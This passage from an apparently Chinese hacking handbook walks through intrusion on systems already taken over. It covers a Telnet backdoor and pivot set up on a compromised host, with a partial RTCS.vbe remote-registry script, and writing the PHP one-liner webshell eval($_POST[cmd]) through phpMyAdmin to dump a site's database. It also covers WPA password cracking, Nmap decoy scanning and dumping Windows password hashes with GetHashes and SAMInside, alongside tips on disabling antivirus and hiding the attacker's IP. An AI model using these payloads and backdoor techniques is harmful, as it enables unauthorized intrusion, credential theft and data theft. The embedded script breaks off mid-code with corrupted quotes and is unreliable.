在肉机上输入“tlntadmn”命令,如图1-199所示,然后输入数字“3”,选择“显示/更改注册表设置”选项。
图1-199 修改注册表值
修改注册表中的NTLM值。如图1-200所示,在菜单中选择“7”,接着输入“y”确认修改,然后输入“0”并输入“y”确认修改,最后输入“0”退出当前菜单。
图1-200 修改NTLM的值为“0”
说明
(1)在Telnet服务器管理程序中还有其他5个输入选项:输入“0”退出管理程序;输入“1”列出当前用户;输入“2”结束一个用户的会话;输入“4”开始服务;输入“5”停止服务。
(2)在Windows XP中,不能使用Telnet服务器管理程序直接进行管理,只能通过命令行的方式进行管理,输入“tlntadmn/?”可以查看其详细帮助信息。
技巧
(1)在已经控制对方计算机的情况下,特别是开启了远程终端的情况下,这种方式比较简便。其实,还有其他两种方式,分别是使用opentelnet.exe(需要管理员权限且开启IPC管道)及使用RTCS脚本(需要管理员权限但不依赖IPC管道)。
(2)OpenTelnet的使用方式为“OpenTelnet.exe \\server username password NTLMAuthor telnetport”,其中“NTLMAuthor”(验证方式)的值为0或1。
(3)RTCS.vbe脚本的使用方式为“cscript RTCS.vbe targetIP username password NTLMAuthor telnetport”。RTCS.vbe代码如下。
on error resume next
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo
"&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<5 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
ntlm=wscript.arguments(3)
port=wscript.arguments(4)
if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then
usage()
wscript.echo “The value of NTML is wrong.”
wscript.quit
end if
if not isnumeric(port) then
usage()
wscript.echo “The value of port is wrong.”
wscript.quit
end if
usage()
outstreem.write “Conneting “&ipaddress&”….”
set objlocator=createobject(”wbemscripting.swbemlocator”)
set
objswbemservices=objlocator.connectserver(ipaddress,”root/default”,username,
password)
showerror(err.number)
outstreem.write “Setting NTLM=”&ntlm&”….”
set objinstance=objswbemservices.get(”stdregprov”)
set objmethod=objinstance.methods_(”SetDWORDvalue”)
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.hdefkey=&h80000002
objinparam.ssubkeyname=”SOFTWARE\Microsoft\TelnetServer\1.0〃
(4)通过Telnet服务器管理程序修改注册表的值后,需要重启计算机才能使修改生效。
1.17.4 登录远程Telnet服务器
使用“telnet ip”命令再次登录远程Telnet服务器,如图1-201所示,输入该IP地址的管理员的用户名和密码,验证通过后进入Telnet。
图1-201 登录远程Telnet服务器
说明
(1)成功登录Telnet后,在Telnet客户端中就可以像在本地DOS提示符下一样执行各种命令了,如图1-202所示为查看网络连接情况。
图1-202 查看网络连接情况
(2)使用多重Telnet可以达到隐藏自身IP地址的目的,也就是常说的代理功能,其过程为:先连入第1个Telnet服务器,然后在第1个Telnet服务器的基础上连入第2个Telnet服务器,再连入第N 个Telnet服务器,这样就不容易被发现了。
(3)使用Telnet作为后门时,可以更改Telnet默认的23端口为其他端口,这样就更隐蔽了。修改端口后,还可以更改Telnet的服务名称。
(4)目前,有的路由器的Telnet端口也已开放,如果知道其用户名和密码,将其作为跳板,效果非常好。
到此为止,一个简单的Telnet后门和跳板就制作成功了,以后我们就可以使用Telnet作为跳板来执行各种操作了。
1.18 利用phpMyAdmin渗透某Linux服务器
在渗透主要目标未果的情况下,通过扫描和分析C段的服务器,发现一个服务器为测试服务器,该服务器上的源代码能够下载,但无法获取直接获取WebShell。分析源代码,结合服务器上有phpMyAdmin,通过MySQL数据库的root用户权限导出一句话后门,成功拿到该网站的WebShell权限。
1.18.1 分析列目录文件和目录
使用NMap扫描软件扫描端口,发现服务器开放了80端口,能够正常访问,还开放了目录及文件浏览权限,如图1-203所示,故获取了源代码的压缩文件及phpMyAdmin管理程序。
图1-203 网站列目录漏洞
1.18.2 获取网站的真实路径
对该网站的所有文件逐个进行访问,在访问cacheConfig.php文件时出现错误提示信息,如图1-204所示。依据该错误信息成功获取网站的真实路径“/usr/local/* * * *apache 2.2.11/htdocs/bbs/config”,通过该错误信息还可以知道该服务器使用的操作系统为Linux。
图1-204 获取网站的真实路径
1.18.3 将一句话后门导入网站
通过分析网站源代码,可成功获取数据库连接文件中的MySQL用户root的密码。通过phpMyAdmin成功连接并进入后台管理界面,如图1-205所示,执行SQL语句“Select '<?php eval($_ POST[cmd]);?> ' into outfile '/usr/local/****/apache2.2.11/htdocs/bbs/config/1.php' ;”,将一句话木马写到刚才报错的路径下面。
图1-205 通过查询导出一句话后门
1.18.4 获取WebShell
通过phpMyAdmin的查询功能将一句话后门导出到网站后,还需要对该一句话后门的具体地址进行访问,以测试能否正常访问。如图1-206所示,该网站能够正常访问。
图1-206 测试一句话后门
通过“中国菜刀”一句话后门管理软件,在其中加入一句话后门的具体地址和管理密码,如图1-207所示。添加成功后,通过双击刚刚添加的记录测试一句话后门。如图1-208所示,已经成功获得WebShell。
图1-207 将记录添加到“中国菜刀”
图1-208 成功获得WebShell
1.18.5 导出数据库
通过“中国菜刀”上传功能强大的WebShell,然后通过已经掌握的信息,成功地将目标网站的数据库导出到本地。
1.19 使用CDlinux无线破解系统轻松破解无线密码
CDlinux无线破解系统基于CDlinux 0.9x系列打包,使用minileaf的spring包无线模块,加入了minidwep-gtk、feedingbottle、inflator等无线工具,下载地址为http://cdlinux.net/forum-2-1 .html,可以使用VMware、USB设备和刻录光盘进行无线密码的破解。minidwep-gtk通过抓包进行破解,破解成功率的高低取决于信号强度、密码字典等因素。当正在破解的无线路由器上有数据传输,即有用户进行连接时,配合强悍的密码字典,一般都能破解成功。
1.19.1 准备工作
01 制作CDlinux启动盘
下载CDlinux无线破解系统镜像文件,然后使用光盘刻录软件以镜像方式刻录光盘。
02 准备无线网卡
某些版本的CDlinux无线破解系统可能无法识别无线网卡。如果不能识别无线网卡,后续破解工作将无法开展。
03 制作密码字典
可以在互联网上下载密码字典,也可以自己生成密码字典。
1.19.2 开始破解
01 使用CDlinux无线破解系统盘启动系统
将CDlinux无线破解系统盘插入光驱,使用光驱启动模式启动系统。启动过程可能较慢,需要耐心等待。启动完成后,按照默认设置进入即可。
02 扫描
运行minidwep-gtk,如图1-209所示,会显示无线网卡列表,在“加密方式”下拉列表中可以选择“WEP”和“WPA/WPA2”两种加密方式进行扫描,在“方式选择”设置区选择相应的选项,选择完毕后,单击“扫描”按钮,开始扫描无线设备。
图1-209 扫描设置
03 选择需要破解的无线路由器
扫描结束后,会显示获取的无线路由器,如图1-210所示,随机选择一个信号较强的无线路由设备,然后单击“启动”按钮开始抓包。在选择无线路由器时,可以通过手机查看无线网络,以选择网络信号较强的设备进行破解。
图1-210 选择需要破解的无线路由器
04 选择密码字典进行破解
在获取WPA握手包后才能进行破解,如图1-211所示,已经成功获取一个数据包。单击选中“yes”单选按钮,然后选择一个密码字典进行破解,如图1-212所示。
图1-211 获取WPA握手包
图1-212 使用密码字典进行破解
1.19.3 破解保存的握手包文件
01 选择需要破解的握手包
在minidwep-gtk主界面单击“跑字典”按钮,软件会提示我们选择握手包文件。如图1-213所示,选择保存在本地的握手包文件00-36-76-08-96-6E_handshake.cap。
图1-213 选择离线握手包
02 设置密码字典
选择握手包后,会提示我们选择密码字典。如图1-214所示,选择本地生成的密码字典文件pwd.password。
图1-214 选择密码字典
03 选择MAC地址
如图1-215所示,在AP MAC中选择一个需要破解的MAC地址(这里主要是为了区分不同的AP。因为抓包可能有多个文件,所以需要选择MAC地址)。密码破解后会进行提示,如图1-216所示,显示“Bssid”和“WPA KEY”。
图1-215 选择破解的MAC地址
图1-216 密码破解成功
1.20 NMap使用技巧及攻略
NMap是一款免费的开源网络发现(Network Discovery)和安全审计(Security Auditing)工具,软件名字“NMap”是“Network Mapper”的简称。NMap最初是由Fyodor在1997年开始创建的。随后,在开源社区众多的志愿者参与下,该工具逐渐成为最为流行的必备安全工具之一,目前最新版本为nmap-6.47,下载地址为http://nmap.org/dist/nmap-6.47-setup.exe。
NMap是一个网络连接端扫描软件,主要用于扫描网上计算机开放的网络连接端,以确定哪些服务运行在哪些连接端,并推断计算机运行的是哪种操作系统(亦称“fingerprinting”)。系统管理员可以利用NMap探测工作环境中未经批准而使用的服务器,而黑客会利用NMap获取目标计算机的网络设定,从而选择攻击的方法。
Zenmap是NMap官方提供的图形界面,通常随NMap的安装包发布。Zenmap是用Python语言编写的免费开源图形界面,能够运行在不同的操作系统平台上(Windows/Linux/UNIX/Mac OS等)。Zenmap旨在为NMap提供更加简单的操作方式,用户可以将常用的操作命令保存成为profile,扫描时选择已经保存的profile即可,还可以方便地比较不同的扫描结果。此外,Zenmap提供了网络拓扑结构(NetworkTopology)的图形显示功能。
1.20.1 安装与配置NMap
NMap可以运行在大多数主流的计算机操作系统上,并且支持控制台和图形两种版本。在Windows平台上,NMap能够运行在Windows 2000/2003/XP/Vista/7平台上,目前最新版本为6.47,官方下载地址为http://nmap.org/dist/nmap-6.47-setup.exe。
1.在Windows下安装NMap
下载nmap-6.47-setup.exe到本地计算机,双击运行该程序,按照默认设置安装。完成安装后,依次选择“NMap”→“Zenmap GUI”选项,在Windows中可以是命令行界面,也可以是图形界面Zenmap,如图1-217所示。
图1-217 NMap图形操作界面
2.在Linux下安装NMap
基于RPM安装,示例如下。
rpm –vhU http://nmap.org/dist/nmap-6.47-1.i386.rpm
基于yum安装,示例如下。
yum install nmap
3.命令格式
NMap常见的命令格式如下。
nmap [Scan Type...] [Options] {target specification}
nmap [ <扫描类型> ...] [ <选项> ] { <扫描目标说明> }
NMap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息,则依赖于所使用的选项。“所感兴趣的端口表格”是其中的关键,该表列出了端口号、协议、服务名称和状态,状态可能是open(开放的)、filtered(被过滤的)、closed(关闭的)或者unfiltered(未被过滤的)。如果NMap报告状态组合open|filtered和closed|filtered,就说明NMap无法确定该端口处于两个状态中的哪一个状态。当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时(-sO),NMap提供所支持的IP协议,而不是正在监听的端口的信息。除了所感兴趣的端口表,NMap还能提供关于目标主机的更多信息,包括反向域名、操作系统猜测、设备类型和MAC地址。
4.扫描IP地址设定
NMap支持CIDR风格的地址。NMap将扫描所有和该参考IP地址具有相同比特的IP地址或主机。例如,192.168.1.0/24将扫描192.168.10.0~192.168.10.255之间的256台主机,192.168.10.40/16将扫描192.168.0.0~192.168.255.255之间的65 536个IP地址,所允许的最小值是/1,最大值是/32。CIDR标志位很简洁,但有时不够灵活。NMap命令行接受多个主机说明,它们不必是相同的类型,扫描的IP地址也可以是192.168.1.1~192.168.1.254。
5.主机发现(HOST DISCOVERY)
(1)-sP(Ping扫描)
Ping扫描选项告诉NMap仅进行Ping扫描(主机发现),然后打印出响应扫描的那些主机,不进行进一步的测试(如端口扫描或者操作系统探测)。
(2)-PS [portlist](TCP SYN Ping)
TCP SYN Ping选项发送一个设置了SYN标志位的空TCP报文,默认目的端口为80,可以通过改变nmap.h文件中的DEFAULT_TCP_PROBE_PORT值进行配置,但不同的端口也可以作为选项指定。甚至可以指定一个以逗号分隔的端口列表,如“-PS22, 23, 25, 80, 113, 1050, 35000”,在这种情况下,各个端口会被并发地扫描。
(3)-PA [portlist](TCP ACK Ping)
TCP ACK Ping选项和刚才讨论的SYN Ping选项类似,二者的区别就是设置TCP的ACK标志位而不是SYN标志位。ACK报文表示确认一个建立连接的尝试,但该连接尚未完全建立。如果远程主机正在运行,因为它们并没有发出过连接请求到运行NMap的机器,所以应该总是回应一个RST报文。
提供SYN和ACK两种Ping探测的目的是使通过防火墙的机会尽可能增大。
(4)-PU [portlist](UDP Ping)
还有一个主机发现选项是UDP Ping,它发送一个空的(除非指定了“--data-length UDP”)报文到给定的端口,端口列表的格式和前面讨论过的“-PS”和“-PA”选项相同。如果不指定端口,默认端口是31338。该默认端口可以通过在编译时改变nmap.h文件中的DEFAULT_UDP_PROBE_PORT值进行配置。默认使用这个奇怪的端口是因为绝大部分系统都不欢迎外来程序对开放端口进行这种扫描。如果目标机器的端口是关闭的,UDP探测会马上得到一个ICMP端口无法到达的回应报文。该扫描类型的主要优势是可以穿越只过滤TCP的防火墙和过滤器。
(5)-PE;-PP;-PM(ICMP Ping Types)
除了前面讨论的这些不常见的TCP和UDP主机发现类型,NMap也能发送世人皆知的Ping程序所发送的报文。
NMap发送一个ICMP type 8(回声请求)报文到目标IP地址,期待从运行的主机得到一个“type 0”(回声响应)报文。对网络探索者而言,不幸的是,许多主机和防火墙现在都会封锁这些报文,而不是按我们期望的那样响应,参见RFC 1122。因此,仅仅进行ICMP扫描对互联网上的目标而言通常是不够的。但对于系统管理员监视一个内部网络而言,它们可能是实际有效的途径。使用“-PE”选项可以打开该回声请求功能。时间戳和地址掩码查询可以分别用“-PP”和“-PM”选项发送。
1.20.2 NMap扫描实例
下面介绍一个NMap扫描实例。
1.命令模板
Zenmap提供了10种模板供用户进行扫描,下面分别介绍。
• Intense scan:该选项是速度最快、最常见的TCP端口扫描,主要用于确定操作系统类型和运行的服务,示例如下。
nmap -T4 -A -v 192.168.1.0/24
• Intense scan plus UDP:除了与Intense scan的功能外,还会扫描UDP端口,示例如下。
nmap -sS -sU -T4 -A -v 192.168.0.0/24
• Intense scan, all TCP ports:使用该选项将扫描所有的TCP端口,示例如下。
nmap -p 1-65535 -T4 -A -v 192.168.0.0/24
• Intense scan,no ping:假设主机都是存活的。对常见的TCP端口进行扫描,示例如下。
nmap -T4 -A -v -PN 192.168.0.0/24
• Ping scan:只进行Ping扫描,不进行端口扫描,示例如下。
nmap -sP -PE 192.168.0.0/24
• Quick scan。
nmap -T4 -F 192.168.0.0/24
• Quick scan plus。
nmap -sV -T4 -O -F 192.168.0.0/24
• Quick traceroute。
nmap -sP -PE --traceroute 192.168.0.0/24
• Regular scan。
nmap 192.168.0.0/24
• Slow comprehensive scan。
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 –script “default
or (discovery and safe)” 192.168.0.0/24
2.一个扫描实例
NMap Windows版本的Zenmap提供了多种扫描选项,可以对网络中被检测到的主机按照选择的扫描选项和显示节点进行探查。
01 设定扫描范围
如图1-218所示,在Zenmap中设置“Target”(扫描范围)为C段IP地址“106.37.181.1-254”。“Target”可以是单个IP地址、IP地址范围及CIDR地址格式。
图1-218 设置扫描对象
02 选择扫描类型
在“Profile”下拉列表中,共有10种类型可供选择,我们只要根据实际情况进行选择即可。
03 开始扫描
单击“Scan”按钮开始扫描,扫描结果如图1-219所示,可以单击标签“Namp Output”、“Ports/Hosts”、“Topology”、“Host Details”、“Scans”进行查看。
图1-219 查看扫描结果
1.20.3 NMap扫描高级技巧
除了常规扫描,NMap还提供了一些高级扫描技巧。
1.安全加固扫描
安全加固扫描主要针对公网或者内网IP地址进行扫描,将扫面结果与预期的加固计划进行对比,只保留允许对外开放的端口。例如,对外仅提供80端口,那么扫描到的其他端口就需要关闭。如果条件允许,在验证时可以通过Zenmap的十大模板进行交叉扫描,有些扫描结果会显示主机不存在或者主机关闭,实际上该主机是存在的,只是在防火墙上设置了安全策略而无法被扫描。
2.隐藏真实IP地址扫描
可以使用Decoy(诱骗)方式掩盖真实的扫描地址。例如,“-D ip1, ip2, ip3, ip4, ME”会使用多个虚假的IP地址同时对目标主机进行探测,其中“ME”代表本机的真实IP地址,这样对方的防火墙就不容易识别扫描者的身份,代码如下。
nmap -T4 -F -n –Pn somesite.com -D192.168.1.100,192.168.1.101,192.168.1.102, ME
192.168.1.1
3.查看本地路由与接口
通过命令“nmap-iflist”可以获取本地主机的接口信息与路由信息。当遇到无法达到目标主机或者想在多块网卡中选择某一特定网卡访问目标主机时,可以运行该命令,查看提供的网络接口信息。
4.扫描路由器
NMap内部维护了一份系统与设备的数据库(nmap-os-db),能够识别数千种不同的系统与设备,所以可用于扫描主流的路由器设备。
(1)扫描思科路由器
思科路由器会在如下端口中运行常见的服务。列举如下端口开放的主机,可以定位到路由器设备可能的IP地址及端口状态。
nmap -p1-25,80,512-515,2001,4001,6001,9001 targetip
(2)扫描路由器TFTP
大多数的路由器都支持TFTP协议(简单文件传输协议)。该协议常用于备份和恢复路由器的配置文件,运行在UDP 69端口上。使用如下命令可以探测出路由器是否开放TFTP。
nmap –sU –p69 –nvv target
(3)扫描路由器操作系统
与通用的PC扫描方式类似,使用“-O”选项扫描路由器的操作系统。“-F”选项用于快速扫描最可能开放的100个端口,并根据端口扫描结果进一步进行OS的指纹分析。
nmap -O -F -n 192.168.1.1
5.10条常用NMap扫描命令
获取远程主机的系统类型及开放端口,示例如下。“<target>”可以是单一IP地址、主机名、域名或子网,示例如下。“-sS TCP SYN”扫描,又称半开放或隐身扫描。“-P0”表示允许关闭ICMP Ping。“-sV”用于打开系统版本检测。“-O”用于尝试识别远程操作系统。此外,“-A”表示同时打开操作系统指纹和版本检测,“-v”表示详细输出扫描情况。
nmap -sS -P0 -sV -O <target>
nmap -sS -P0 -A -v <target>
• 列出开放了指定端口的主机列表,示例如下。
nmap -sT -p 80 -oG – 192.168.1.* | grep open
• 在网络中寻找所有在线主机,命令为“nmap-sP 192.168.0.*”,也可以用命令“nmap-sP 192.168.0.0/24”指定子网(subnet)。
• Ping指定范围内的IP地址,示例如下。
nmap -sP 192.168.1.100-254
• 在某段子网上查找未占用的IP地址,示例如下。
nmap -T4 -sP 192.168.2.0/24 &am;& egrep “00:00:00:00:00:00″ /proc/net/arp
• 在局域网上扫描Conficker蠕虫病毒,示例如下。
nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1
192.168.0.1-254
• 扫描网络上的恶意接入点(rogue APs),示例如下。
nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout
2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m
–max-scan-delay 1000 -oA wapscan 10.0.0.0/8
• 使用诱饵扫描方法扫描主机端口,示例如下。
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
• 为一个子网列出反向DNS记录,示例如下。
nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else
print$3″ is “$2}’ | grep ‘(‘
• 显示网络上共有多少台Linux及Windows设备,示例如下。
sudo nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os
| grep Linux | wc -l) Linux
device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) device”
第2章 实战中常见的加密与解密
在Web渗透中经常会碰到数据被加密的情况,尤其是对用户密码,各个系统采用的密码加密算法不一样,如明文、MD5、SHA1、Base64等。如果不了解常见的Web加密和解密,那么后续渗透工作将无法进行。
本章将系统地对这些加密方法和基础知识进行介绍,着重介绍与网络渗透有关的加密和解密方面的知识,并通过图文并茂的实际案例,使读者能很快上手。
本章主要内容
使用GetHashes获取Windows系统的Hash密码值
使用SAMInside获取系统密码
使用WinlogonHack获取系统密码
使用Ophcrack破解系统Hash密码
MD5加密与解密
Serv-U密码破解
Access数据库破解实战
巧用Cain破解MySQL数据库密码
MD5(Base64)加密与解密
Discuz!论坛密码记录及安全验证问题暴力破解研究
Windows Server 2003域控用户账号密码获取
使用fakesu记录root用户密码
暴力破解密码工具Hydra使用攻略
基于MD5算法变异加密实现
pcAnywhere账号和口令的破解
使用Hashcat破解Windows系统账号密码
2.1 使用GetHashes获取Windows系统的Hash密码值
对入侵者来说,获取Windows的口令是整个攻击过程中至关重要的一环,拥有系统原来用户的口令,将使内网渗透和监控更加容易。Windows系统中的Hash密码值主要由LM-HASH值和NTLM-HASH值两部分构成,一旦入侵者获取了系统的Hash值,通过LC5及彩虹表等破解工具就可以很快地获取系统的密码。本节主要探讨如何使用GetHashes获取系统的Hash值,并对Hash值的生成原理等知识进行介绍,最后还介绍了一些Hash破解方面的技巧。
2.1.1 Hash的基本知识
首先了解一下Hash的基本知识。
1.Hash的定义
Hash,一般翻译为“散列”,也有直接音译为“哈希”的,是指把任意长度的输入(又叫做预映射,Pre-Image),通过散列算法,变换成固定长度的输出,该输出值就是散列值。这种转换是一种压缩映射,也就是说,散列值的空间通常远小于输入值的空间,不同的输入可能会散列成相同的输出,而不可能通过散列值唯一确定输入值。简单地说,Hash就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
2.Hash的应用
Hash主要用于信息安全领域中的加密算法,它把一些不同长度的信息转化成杂乱的128位编码,其值叫做Hash值。可以说,Hash就是找到数据内容和数据存放地址之间的一种映射关系。
2.1.2 Hash算法在密码上的应用
MD5和SHA1可以说是目前应用最广泛的Hash算法,而它们都是以MD4算法为基础设计的。那么,它们都是什么意思呢?这里简单介绍一下。
1.MD4
MD4(RFC 1320)由MIT的Ronald L. Rivest在1990年设计,“MD”是“Message Digest”的缩写,适合在32位字长的处理器上通过高速软件实现。MD4基于32位操作数的位操作实现。
2.MD5
MD5(RFC 1321)是Rivest于1991年对MD4的改进版本。它仍以512位分组输入,其输出是4个32位字的级联,与MD4相同。MD5比MD4来得复杂,并且速度较之要慢一点,但MD5更加安全,在抗分析和抗差分方面表现更好。
3.SHA1及其他
SHA1为与DSA一起使用而由NIST NSA设计,对长度小于264位的输入产生长度为160 bit的散列值,抗穷举(Brute-Force)性更好。SHA1基于和MD4相同的原理设计并模仿了该算法。
4.Hash算法在信息安全方面的应用
Hash算法在信息安全方面的应用主要体现在以下3个方面。
(1)文件校验
我们比较熟悉的校验算法有奇偶校验和CRC校验。这两种校验没有抗数据篡改的能力,它们在一定程度上能检测并纠正数据传输中的信道误码,却不能防止对数据的恶意破坏。MD5 Hash算法的“数字指纹”特性使它成为目前应用最广泛的一种文件完整性校验和(Checksum)算法,不少UNIX系统提供计算MD5 Checksum命令。
(2)数字签名
Hash算法也是现代密码体系中的一个重要组成部分。由于非对称算法的运算速度较慢,所以在数字签名协议中,单向散列函数扮演了一个重要的角色。
对Hash值,又称“数字摘要”,进行数字签名,在统计上可以认为其与对文件本身进行数字签名是等效的。而且,这样的协议还有其他优点。
(3)鉴权协议
鉴权协议又称“挑战-认证模式”,在传输信道时可被侦听但不可被篡改的情况下,这是一种简单而安全的方法。
2.1.3 Windows下的Hash密码值
下面分别介绍Windows下的Hash密码格式和LM-Hash值生成原理。
1.Windows下的Hash密码格式
Windows下的Hash密码格式为“用户名称:RID:LM-Hash值:NT-Hash值”。“Administrator:500: C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::”的含义如下。
• 用户名称为“Administrator”。
• RID为500。
• LM-Hash值为“C8825DB10F2590EAAAD3B435B51404EE”。
• NT-Hash值为“683020925C5D8569C23AA724774CE6CC”。
2.Windows下LM Hash值的生成原理
假设明文口令是“Welcome”,首先将其全部转换成大写,即“WELCOME”,然后将该大写值转换成二进制串,示例如下。
“WELCOME” -> 57454C434F4D4500000000000000
技巧
将明文口令复制到UltraEdit编辑器中,使用二进制方式查看,即可获取口令的二进制串。
如果明文口令经过大写变换后的二进制字符串不足14字节,则需要在其后添加“0x00”补足14字节。然后,将14字节的数据切割成2组7字节的数据,分别经str_to_key()函数处理,得到2组8字节数据,示例如下。
57454C434F4D45 -str_to_key()-> 56A25288347A348A
00000000000000 -str_to_key()-> 0000000000000000
这2组8字节数据作为DESKEY对魔术字符串“KGS! @#$%”进行标准DES加密,示例如下。
"KGS!@#$%" -> 4B47532140232425
56A25288347A348A -对 4B47532140232425 进行标准 DES 加密-> C23413A8A1E7665F
0000000000000000 -对 4B47532140232425 进行标准 DES 加密-> AAD3B435B51404EE
将加密后的2组数据简单拼接,就得到了最终的Hash-LM值。
LM Hash: C23413A8A1E7665FAAD3B435B51404EE
2.1.4 Windows下NTLM Hash的生成原理
IBM设计的LM Hash算法存在一些弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,NTLM Hash应运而生。
假设明文口令是“123456”,将其转换成Unicode字符串,结果为“310032003300340035003600”。与LM Hash算法不同,这里不需要添加“0x00”补足14字节。
"123456" -> 310032003300340035003600
从ASCII串转换成Unicode串时使用Little-Endian。因为微软在设计SMB协议时没有考虑Big-Endian,所以ntoh*()和hton*()函数不宜用在SMB报文解码中。将0x80之前的标准ASCII码转换成Unicode码,就是简单地从“0x??”变成“0x00??”。
此类标准ASCII串按Little-Endian转换成Unicode串,也就是简单地在原有的每字节之后添加“0x00”。对获取的Unicode串进行标准MD4单向Hash,无论数据源有多少字节,MD4固定产生128 bit的Hash值。
将16字节数据310032003300340035003600进行标准MD4单向Hash,结果为32ED87BDB5FD C5E9CBA88547376818D4,也就得到了最后的NTLM Hash。
NTLM Hash: 32ED87BDB5FDC5E9CBA88547376818D4。
与LM-Hash算法相比,明文口令大小写敏感,无法根据NTLM Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串“KGS! @#$%”。MD4是真正的单向Hash函数,穷举作为数据源出现的明文,难度较大。
2.1.5 使用GetHashes获取Windows的Hash密码值
GetHashes目前的高版本是1.4版,它是InsidePro公司早期开发的一款Hash密码获取软件。InsidePro公司的网址为http://www.InsidePro.com,该公司还有SAMInside、PasswordsPro及Extreme GPU Bruteforcer共3款密码破解软件。
1.GetHashes命令格式
GetHashes命令格式示例如下。
GetHashes <SAM registry file> [System key file] Or GetHashes $Local
一般使用“GetHashes $Local”获取系统的Hash密码值。该命令仅在System权限下才能成功执行。通常可以根据个人爱好将GetHashes.exe工具软件修改为其他名称。
2.使用GetHashes获取系统Hash值实例
将GetHashes重命名为“getpw”,然后将其复制到欲获取Hash密码值的系统盘中,如图2-1所示,执行“getpw$local”命令,顺利获取其Hash密码值。
图2-1 获取系统Hash密码值
本例使用的是Radmin的Telnet。依次单击“文本”→“保存为”选项,将结果保存为一个新文件,然后使用UltraEdit编辑器进行编辑,仅保留Hash密码值部分,此后,使用LC5导入Hash密码值即可破解系统的密码值。
注意
(1)使用GetHashes获取系统的Hash密码值必须要有System权限,也就是要在反弹Shell或Telnet环境下进行。
(2)如果系统中安装了杀毒软件或者防火墙,有可能因为杀毒软件和防火墙的保护而导致密码获取失败。研究发现,由于Gethashes威力巨大,主要用在入侵过程中获取系统的Hash密码值,因此绝大多数杀毒软件已经将GetHashes软件加入病毒库,Castlecops网站提供的关于各大杀毒软件针对GetHashes所做的病毒库版本及更新结果如图2-2所示。
图2-2 大部分杀毒软件已经将GetHashes作为病毒处理
(3)InsidePro公司在其网站上还提供了一个Hash产生器,通过输入一些参数值,能够生成经过某种加密算法处理的口令密码值,有兴趣的读者可以尝试使用。该功能在研究系统的Hash密码值生成时可以进行相互验证。
(4)Hash值在线查询。在InsidePro网站还可以在线查询Hash密码值的原始明文口令。将获取的经MD5加密的Hash值输入后,单击“Search”按钮,如果数据库中存在该值,则会给出查询结果。
2.1.6 使用GetHashes获取系统Hash值的技巧
使用GetHashes获取系统的Hash值时,一般是在获得了系统的部分或者全部控制权限之后,即新漏洞利用工具发布之后。例如,当系统中存在MS0867漏洞时,可以通过MS08067漏洞利用工具获得存在漏洞计算机的一个反弹Shell,然后将GetHashes上传到系统中,执行“GetHashes $Local”命令,即可获取该系统的Hash密码值。
对GetHashes的使用,笔者将一些经验技巧总结如下。
• 在获得反弹Shell的情况下,先查看系统中是否安装了杀毒软件。如果已经安装,尝试是否可以将其关闭;如果不能关闭,则放弃使用GetHashes获取Hash值,转向下一步。
• 查看系统的名称及版本,以及是否开启了3389远程终端。如果未开启3389终端,可否直接开启3389终端。如果可以利用3389终端,则直接添加一个具有管理员权限的用户,然后使用该用户登录系统。
• 关闭杀毒软件,再次通过Shell或者其他控制软件的Telnet执行“GetHashes $Local”命令获取Hash密码值,然后删除新添加的用户。
2.1.7 相关免费资源
下面提供一些免费资源,希望能对大家有所帮助。
• 在线Hash密码值破解:http://hash.insidepro.com/
• 在线生成Hash密码值:http://www.insidepro.com/hashes.php?lang=eng
• 免费字典下载:http://www.insidepro.com/eng/download.shtml
• SAMInside:http://www.insidepro.com/download/saminside.zip
• PasswordsPro :http://www.insidepro.com/download/passwordspro.zip
• Extreme GPU Bruteforcer:http://www.insidepro.com/download/egb.zip
2.2 使用SAMInside获取Windows系统密码
在通过SQL注入等方式获取网站的WebShell后,就可以利用各种系统漏洞进行提权,提权成功后,通过远程终端登录系统。此时,为了长期控制或者进一步渗透网络,就需要获取系统正常用户的密码。获取系统密码Hash值的软件很多,本节中主要介绍如何通过SAMInside获取系统的Hash值,以及如何结合彩虹表快速破解操作系统用户密码。
2.2.1 下载和使用SAMInside
SAMInside的官方下载地址为http://www.insidepro.com/download/Saminside.zip,目前最新版本为2.6.5。官方提供的是试用版本,有一些高级功能不能使用,但并不影响获取系统密码Hash值。
SAMInside可以获取Windows 2008 Server及以下操作系统的用户密码Hash值,在获取这些Hash值后可以通过彩虹表或者字典等进行破解,进而获取系统的密码。SAMInside不需要安装,将下载的saminside.zip解压到本地磁盘即可使用。
2.2.2 使用Scheduler导入本地用户的Hash值
直接运行SAMInside,如图2-3所示,单击第三个小图标,然后选择“Import Local Users via Scheduler”选项,将本地用户的Hash值导出。虽然SAMInside还提供了从LSASS中导出本地用户的功能,但该方法在一些操作系统中容易出错,这两个方法均可使用。
图2-3 使用Scheduler导入本地用户的哈希值
2.2.3 查看导入的Hash值
